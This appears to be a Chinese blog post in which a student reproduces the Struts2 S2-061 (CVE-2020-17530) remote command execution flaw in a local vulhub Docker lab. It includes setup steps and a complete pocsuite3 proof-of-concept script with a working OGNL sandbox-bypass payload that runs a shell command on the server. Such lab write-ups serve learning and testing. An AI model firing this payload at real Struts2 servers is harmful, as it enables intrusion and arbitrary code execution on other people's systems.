Struts2 S2-061 远程命令执行漏洞复现

**

Struts2 S2-061 远程命令执行漏洞复现

**

1. 概述
s2-061 是一个远程命令执行的漏洞,Struts2 会对某些标签属性(比如 id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x}x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过。
所以在对漏洞进行绕过时,可以考虑从id入手,这里主要讲怎么复现这个漏洞。
2. 复现
1.用到的工具:pocsuite vulhub docker/docker-compose 、burp suite
2.各个软件的安装过程:

  • docker/docker-compose
step1.
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr

step2.
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D

step3.
echo 'deb https://apt.dockerproject.org/repo debian-stretch main' > /etc/apt/sources.list.d/docker.list

step4.
apt-get update
ss-local -c /etc/*.json (起飞机)
proxychains4 apt-get install docker-engine 代理下载

安装完成之后再下载其他插件的时候会经常超时,或者出现一些奇怪的错误,这当中有一部分原因就是因为服务在国外,所以出现的,所以这里建议及时把源换一下,这里就不赘述了
在一个安装完成之后怎么验证自己安装成功了呢
这里就要用到

docker version  #验证docker的版本
docker-compose version #验证docker-compose 的版本
docker run --rm hello-world

- vulhub
https://www.cnblogs.com/lxfweb/archive/2004/01/13/12952490.html

- pocsuite
https://paper.seebug.org/904/

其他的安装的就没有了
搭建靶场的时候 把目录切到相应的文件夹

docker-compose up -d
systemctl start docker
docker ps

访问http://192.168.1.107 :8080/
注:192.168.1.107是指虚拟机的ip 可以使用127.0.0.1或者localhost代替
这样就可以看到靶场的原界面
下一步就是开启代理
用bp抓包,看显示结果了

接下来的复现有两种方式,
第一种就是直接去github上面找源码send一下皆可以看出来了
可以通过改变id 的、值来看会更加直观,可以改为whoami或者 echo md5(333)来实现(网上有很多的便利的,这里不做赘述)

第二种就是写一个脚本来实现
具体的写法可以在github上找模板,来更改一些东西实现
下面源码奉上

from pocsuite3.api import Output, POCBase, register_poc, requests
from urllib.parse import urljoin
class DemoPOC(POCBase):
    # PoC信息字段,需要完整填写全部下列信息
    vulID = '89688'  # 漏洞编号,若提交漏洞的同时提交PoC,则写成0
    version = '1'  # PoC版本,默认为1
    author = ['111']  # 编写PoC日期
    vulDate = '2020-12-11'  # 漏洞公开日期
    createDate = '2018-09-18'  # 编写PoC日期
    updateDate = '2018-09-18'  # 更新PoC日期,默认与createDate一样
    references = ['https://www.seebug.org/vuldb/ssvid-89688']  # 漏洞地址来源,0day不写
    name = 'Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530)'  # PoC名称
    appPowerLink = ''  # 漏洞产商主页
    appName = 'Struts2 S2-061'  # 漏洞应用名称
    appVersion = 'All'  # 漏洞影响版本
    desc = '''dfhgre'''  # 在漏洞描述填写
    samples = ['']  # 测试成功网址

    def _verify(self):
        result = {}
        path = 'index.action'
        url = urljoin(self.url, path)
        # 此处payload即为post的数据
        headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF',
                   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'}
        payload = '''------WebKitFormBoundaryl7d1B1aGsV2wcZwF/r/nContent-Disposition: form-data; name="id"/r/n%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("echo md5(333)")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}/r/n------WebKitFormBoundaryl7d1B1aGsV2wcZwF--'''
        try:
            response = requests.post(url, data=payload, headers=headers)
            print(response.text)
            if response and response.status_code == 200 and 'demo' in response.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)

    def _attack(self):
        return self._verify()

        return output

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)

接下来是运行(把debug切换到代码所在的目录)

pocsuite -r main.py -u http://192.168.126.128:8080 --verify
192.168.126.128指的是虚拟机的ip 
这样就可以得到和第一种方法的结果相同
其实无论是第一种方法还是第二种方法都是利用Struts2 会对某些标签属性(比如 `id`,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时,用户再传入一个 `%{payload}` 即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过的方法
方法各有千秋,其目的一样
  1. 思考

其实在整个复现的过程中,大部分的错误都是由于自己的粗心造成的,所以对于想我一样的新手来说,一定不要求快,而且百度基本都有解答,比如我就以为docker和-compose之间有一个空格,导致我去弄了将近半小时

还有最难的是脚本的编写,所以python真的对于网安学习真的很重要
写法和爬虫的写法有异曲同工之妙,但是又有很大的不同。

当然最重要的就是要有耐心,还要与同学交流,闭门造车终不及众人划桨
,当然,不要问我要截图,因为我电脑蹦了,就是因为打开QQ。泪目。。。。。。

上一篇:Struts2-059 漏洞复现


下一篇:java struts2讲解